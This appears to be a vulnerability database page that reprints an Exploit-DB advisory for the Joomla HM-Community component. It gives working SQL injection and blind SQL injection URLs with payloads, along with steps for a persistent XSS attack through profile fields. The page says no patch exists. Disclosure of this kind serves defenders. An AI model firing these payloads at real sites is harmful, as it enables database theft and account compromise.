Joomla Compenent com_hmcommunity Multiple Vulnerabilities

vendor:

HM-Community

by:

599eme Man

8.8

CVSS

HIGH

SQL, Blind SQL, Persistent XSS

89, 89, 79

CWE

Product Name: HM-Community

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2020

Joomla Compenent com_hmcommunity Multiple Vulnerabilities

The SQL vulnerability is an injection vulnerability that can be exploited by sending a maliciously crafted HTTP request to the vulnerable application. The Blind SQL vulnerability is an injection vulnerability that can be exploited by sending a maliciously crafted HTTP request to the vulnerable application. The Persistent XSS vulnerability is an injection vulnerability that can be exploited by creating an account and putting malicious code in the inputs. The demo for this vulnerability is to create an account and look at the profile of the user with the ID 155.

Mitigation:

Input validation, Input validation, Input validation

Source

Exploit-DB raw data:

_00000__00000__00000__00000__0___0__00000____0___0___000___0___0_
_0______0___0__0___0__0______00_00__0________00_00__0___0__00_00_
_0000___00000__00000__00000__0_0_0__00000____0_0_0__0___0__0_0_0_
_____0______0______0__0______0___0__0________0___0__00000__0___0_
_0000___00000__00000__00000__0___0__00000____0___0__0___0__0___0_
_________________________________________________________________


# [+] Joomla Compenent com_hmcommunity Multiple Vulnerabilities
# [+] Software : Joomla
# [+] Download : http://joomlaextensions.co.in/product/HM-Community
# [+] Author : 599eme Man
# [+] Contact : Flouf@live.fr
#
#[------------------------------------------------------------------------------------]
# 
# [+] Vulnerabilities
#
#  [+] SQL
#
#    - http://site.com/index.php?option=com_hmcommunity&view=fnd_home&id=[NB] union select all 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
#
#  [+] Blind SQL
#
#    - http://site.com//index.php?option=com_hmcommunity&view=fnd_home&id=155 and @@version=5
#
#  [+] Persistent XSS
#
#    - The XSS is on the profile. You have to create an account and put your code in inputs.
#
#	[+] Demo
#
#	  - Create an account and look this profile : http://site.com/index.php?option=com_hmcommunity&view=fnd_profile&uid=155
#
#[------------------------------------------------------------------------------------]
#
#########################################################################################################